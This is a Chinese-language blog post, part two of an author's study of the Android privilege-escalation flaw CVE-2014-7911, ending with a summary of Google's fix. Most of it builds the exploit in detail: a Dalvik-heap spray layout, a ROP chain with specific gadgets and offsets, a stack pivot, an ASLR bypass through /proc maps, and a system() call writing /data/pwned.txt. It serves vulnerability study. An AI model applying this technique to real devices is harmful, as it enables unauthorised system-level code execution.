BruceFan's Blog

Stay hungry, stay foolish

0%

CVE-2014-7911 Android提权漏洞(二)

上一篇文章CVE-2014-7911 Android提权漏洞(一)中对CVE-2014-7911这个漏洞的原理和PoC进行了学习,通过学习这个漏洞感觉还是很有收获,因为之前只是做过CTF比赛中的题目,没太接触过实际的漏洞分析,所以通过这次学习不仅将之前学到的知识用到了实践,还对真实世界的漏洞有了初步了解。
这篇文章继续对这个漏洞的利用进行学习,最终目标是利用这个漏洞以system权限执行代码。
前情回顾,这个漏洞是利用Java反射和Binder进程间通信机制,向system_server传入一不可序列化的恶意对象,由于java.io.ObjectInputStream未对该输入的对象实例是否实际可序列化做校验,因此当该对象实例被ObjectInputStream反序列化时,将发生类型混淆,对象的Field被当作由native代码处理的指针,使攻击者获得控制权。

Dalvik-heap Spray

为了能可靠稳定地跳转到攻击者的提权代码,需要使用堆喷射技术,在system_server内存空间的Dalvik-heap中预先布置大量的Spray Buffer,其中放置提权代码以及大量指向该提权代码的地址。这里需要解决两个问题:

  • 向system_server的Dalvik-heap空间传入可控字符串
  • 构造特殊布局的Spray Buffer,使代码能稳定执行

1.向Dalvik-heap传入字符串
system_server向Android系统提供绝大多数的系统服务,通过这些服务的一些特定方法可以向system_server传入字符串,同时system_server把这些字符串存储在Dalvik-heap中,在GC之前都不会销毁。
android.content.Context中的registerReceiver()

1
public Intent registerReceiver (BroadcastReceiver receiver, IntentFilter filter, String broadcastPermission, Handler scheduler)

其中,broadcastPermission为String类型,调用该方法后,String Buffer将常驻system_server进程空间。调用链如下:

1
2
3
4
5
ContextWrapper.registerReceiver
->ContextImpl.registerReceiver
->ContextImpl.registerReceiverInternal
->ActivityManagerProxy.registerReceiver
->ActivityManagerService.registerReceiver

可以看出从应用程序的Context就能通过binder IPC跨进程调用system_serverActivityManagerService.registerReceiver()
ActivityManagerService常驻system_server进程空间,其registerReceiver()实现如下:
代码清单 /frameworks/base/services/java/com/android/server/am/ActivityManagerService.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public Intent registerReceiver(IApplicationThread caller, String callerPackage, IIntentReceiver receiver, IntentFilter filter, String permission, int userId) {
enforceNotIsolatedCaller("registerReceiver");
int callingUid;
int callingPid;
synchronized(this) {
......
ReceiverList rl
= (ReceiverList)mRegisteredReceivers.get(receiver.asBinder());
......
BroadcastFilter bf = new BroadcastFilter(filter, rl, callerPackage,
permission, callingUid, userId); //在Dalvik-heap中分配内存
rl.add(bf);
......
return sticky;
}
}

通过上述代码中的new就能在system_server进程的Dalvik-heap中分配String Buffer了。
2.构造特殊布局的Spray Buffer
攻击者可控的mOrgue需要指向一个可读的内存区域,让其指向传入registerReceiver()broadcastPermission参数所属的地址区域并在broadcastPermission中布置ROP Gadget即可。但是system_server在其Dalvik-heap中分配String Buffer的地址是未知的,因此mOrgue未必能命中Dalvik-heap中的String Buffer。为了提高命中率,需要在Dalvik-heap中分配大量的String Buffer,这就是Heap Spray(堆喷射)。反复调用registerReceiver()分配大量的String Buffer即可完成Heap Spray,但是因为String Buffer地址未知,这就需要构造一种特殊的堆喷射布局:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
STATIC_ADDRESS = mOrgue
+---------------------------------+<------低地址(堆底地址)
| STATIC_ADDRESS+Gadget_offset |
+---------------------------------+
| STATIC_ADDRESS+Gadget_offset-4 |
+---------------------------------+
| STATIC_ADDRESS+Gadget_offset-8 |
+---------------------------------+
| ... | Relative Address Chunk
+---------------------------------+<-堆底地址+4N
| STATIC_ADDRESS+Gadget_offset-4N |
+---------------------------------+
| ... |
+---------------------------------+
| 1 |
+---------------------------------+<------堆底地址+Gadget_offset
| |
| Gadget | Gadget Buffer
| |
+---------------------------------+<------高地址

大量分配这样的堆块,其中,每个堆块有Relative Address Chunk和Gadget Buffer两部分。

之前的思路是在Relative Address Chunk中都放入GADGET_BUFFER(即Gadget Buffer的地址),但是这个地址在每个堆块中都不一样,而且也无法在跨进程传入system_server之前知道,因此不能这样简单构造。

如上图所示,这里的布局是在Relative Address Chunk中,按地址增长的方向依次放入递减的地址值,这样给定一个STATIC_ADDRESS,只要其落在某个Relative Address Chunk的地址范围,就一定有[STATIC_ADDRESS] = GADGET_BUFFER,推导如下:

1
2
3
4
5
6
7
8
9
已知:  
GADGET_BUFFER = 堆底地址 + Gadget_offset(GADGET_BUFFER相对于堆底的偏移)
STATIC_ADDRESS = 堆底地址 + 4N(考虑到四字节对齐,STATIC_ADDRESS一般为堆底地址加上4的整数倍的一个数)
因此:
[STATIC_ADDRESS] = [堆底地址 + 4N]
= STATIC_ADDRESS + Gadget_offset - 4N
= 堆底地址 + 4N + Gadget_offset - 4N
= 堆底地址 + Gadget_offset
= GADGET_BUFFER

而且上述布局还满足[STATIC_ADDRESS + 4N] = GADGET_BUFFER - 4N(这个条件在后面布置Gadget时会用到),因为STATIC_ADDRESS每加4,对应地址里的值就会减4,如:

1
2
3
[STATIC_ADDRESS + 4] = STATIC_ADDRESS + Gadget_offset - 4N - 4 = GADGET_BUFFER - 4
[STATIC_ADDRESS + 8] = STATIC_ADDRESS + Gadget_offset - 4N - 8 = GADGET_BUFFER - 8
...

为了提高STATIC_ADDRESS落入Relative Address Chunk的可能性,需要满足:
1.每一个堆块的Relative Address Chunk比Gadget Buffer大很多;
2.分配大量的这样的堆块
按照这样布局,再看汇编代码,布置Gadget Buffer:

1
2
3
4
ldr r4, [r0, #4]    # r0 = STATIC_ADDRESS--->r4 = [STATIC_ADDRESS + 4] = GADGET_BUFFER - 4
mov r6, r1
mov r0, r4 # r0 = GADGET_BUFFER - 4
blx <android_atomic_dec()>

调用android_atomic_dec函数之后

1
2
3
4
5
6
7
cmp r0, #1            # r0 = [GADGET_BUFFER-4]
bne loc_d19c
ldr r0, [r4, #8] # r0 = [GADGET_BUFFER-4+8] = [GADGET_BUFFER+4]
mov r1, r6
ldr r3, [r0] # r3 = [[GADGET_BUFFER + 4]]
ldr r2, [r3, #0xc] # r2 = [[[GADGET_BUFFER + 4]] + 12]
blx r2

为了进入blx r2这条分支,r0必须等于1,也就是[GADGET_BUFFER - 4] = 1
为了blx r2跳转到GADGET_BUFFER里的内容执行(即r2 = [GADGET_BUFFER]),需要令[[GADGET_BUFFER + 4]] + 12 = GADGET_BUFFER,只要令[GADGET_BUFFER + 4] = STATIC_ADDRESS + 12即可。

ROP Chain

由于Android使用了DEP,因此Dalvik-heap内存里的数据不能执行,这就必须使用ROP技术,使PC跳转到一系列合法的指令序列(Gadget)。这里要用Gadget调用system函数执行代码。
使用ROPGadget,在zygote加载的基础模块(如libc.so、libwebviewchromium.so、libdvm.so)上进行搜索,把ARM code当做Thumb code来搜索,可以增加更多的候选指令序列。
为了调用system函数,需要控制r0寄存器,指向我们预先布置的命令行字符串作为参数。这里需要使用Stack Pivot技术,将栈顶指针SP指向控制的Dalvik-heap堆中的数据,这将为控制PC寄存器、以及在栈上布置数据带来便利。利用

1
ROPgadget --thumb --binary libwebviewchromium.so

可找到如下Gadget
Gadget1
为Stack Pivot做准备
libwebviewchromium.so

1
2
3
4
70a93c:       682f            ldr     r7, [r5, #0]  # r5 = STATIC_ADDRESS, r7 = [STATIC_ADDRESS] = GADGET_BUFFER
70a93e: 4628 mov r0, r5 # r0 = STATIC_ADDRESS
70a940: 68b9 ldr r1, [r7, #8] # r1 = [GADGET_BUFFER+8]
70a942: 4788 blx r1

因此,GADGET_BUFFER+8这个地址需要指向第二个Gadget
Gadget2
Stack Pivot
libdvm.so

1
2
3
4
664c4:       f107 0708       add.w   r7, r7, #8   # r7 = r7 + 8 = GADGET_BUFFER + 8
664c8: 46bd mov sp, r7 #sp = GADGET_BUFFER + 8
664ca: bdb0 pop {r4, r5, r7, pc}
# r4=[GADGET_BUFFER+8],r5=[GADGET_BUFFER+12],r7=[GADGET_BUFFER+16],pc=[GADGET_BUFFER+20], sp=GADGET_BUFFER+24

可以看到,将SP指向堆中可控的数据后,后面就可以控制PC。这里,我们提前将system函数的地址写入[GADGET_BUFFER+12]。为什么要通过Gadget1的过渡才能来到Gadget2,事实上这是不得已而为之,使用ROPGadget搜遍/system/lib下的基础模块grep "mov sp, r",只发现mov sp, r7,因此只能采取这种过渡的方式。
接下来,在GADGET_BUFFER+20这个地址填入Gadget3的地址。
Gadget3
libwebviewchromium.so

1
2
30c4b8:       4668            mov     r0, sp   # r0 = GADGET_BUFFER + 24
30c4ba: 47a8 blx r5 # r5 = [GADGET_BUFFER+12] = system_addr

因此,提前将system函数的参数放入r0指向的GADGET_BUFFER+24即可,最终将以system_server的权限执行任意代码。
最终的chunk布局如图。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
+---------------------------------+<------低地址(堆底地址)
| STATIC_ADDRESS+Gadget_offset |
+---------------------------------+
| STATIC_ADDRESS+Gadget_offset-4 |
+---------------------------------+
| STATIC_ADDRESS+Gadget_offset-8 |
+---------------------------------+
| ... | Relative Address Chunk
+---------------------------------+
| STATIC_ADDRESS+Gadget_offset-4N |
+---------------------------------+
| ... |
+---------------------------------+
| 1 |
+---------------------------------+<------堆底地址+Gadget_offset
| Gadget1_Address |
+---------------------------------+ +4
| STATIC_ADDRESS+12 | 上一节分析的,使blx r2跳转到GADGET_BUFFER的条件
+---------------------------------+ +8
| Gadget2_Address |
+---------------------------------+ +12
| system_Address | Gadget Buffer
+---------------------------------+ +16
| PADDING |
+---------------------------------+ +20
| Gadget3_Address |
+---------------------------------+ +24
| "id > /data/pwned.txt" | system函数的参数
+---------------------------------+<------高地址

最后,构造ROP Chain还需要考虑一个细节,ARM有两种模式Thumb和ARM模式,我们使用的Gadgets均为Thumb模式,因此其地址的最低位均需要加1。

ASLR

Android自4.1始开始启用ASLR(地址随机化),任何程序自身的的地址空间在每一次运行时都将发生变化。但在Android中,攻击程序、system_server皆由zygote进程fork而来,因此攻击程序与system_server共享同样的基础模块和Dalvik-heap。只要在使用Dalvik-heap Spray和构建ROP Gadget时,只使用libc、libdvm这些基础模块,就无需考虑地址随机化的问题。通过对攻击程序自身/proc/<pid>/maps文件的解析,就可以得知所加载基础模块的基址。如图,

根据上述Gadgets构建的POC ,执行完毕后,将以system用户的权限在/data目录下生成一个pwned.txt文件。

修复

Google的diff,涉及与反序列化相关的 ObjectInputStream.java、ObjectStreamClass.java、ObjectStreamConstants.java、SerializationTest.java等文件。主要加了三种检查:

  • 检查反序列化的类是否仍然满足序列化的需求;
  • 检查反序列化的类的类型是否与stream中所持有的类型信息 (enum, serializable, externalizable)一致;
  • 在某些情形下,延迟类的静态初始化,直到对序列化流的内容检查完成。

漏洞的原理和利用都学习完了,但是还是觉得差的很多,主要原因是没有对利用过程进行调试,后面要学习以下Android源码的调试,对漏洞利用有一个更深刻的理解。
reference
再论CVE-2014-7911安卓序列化漏洞 by 小荷才露尖尖角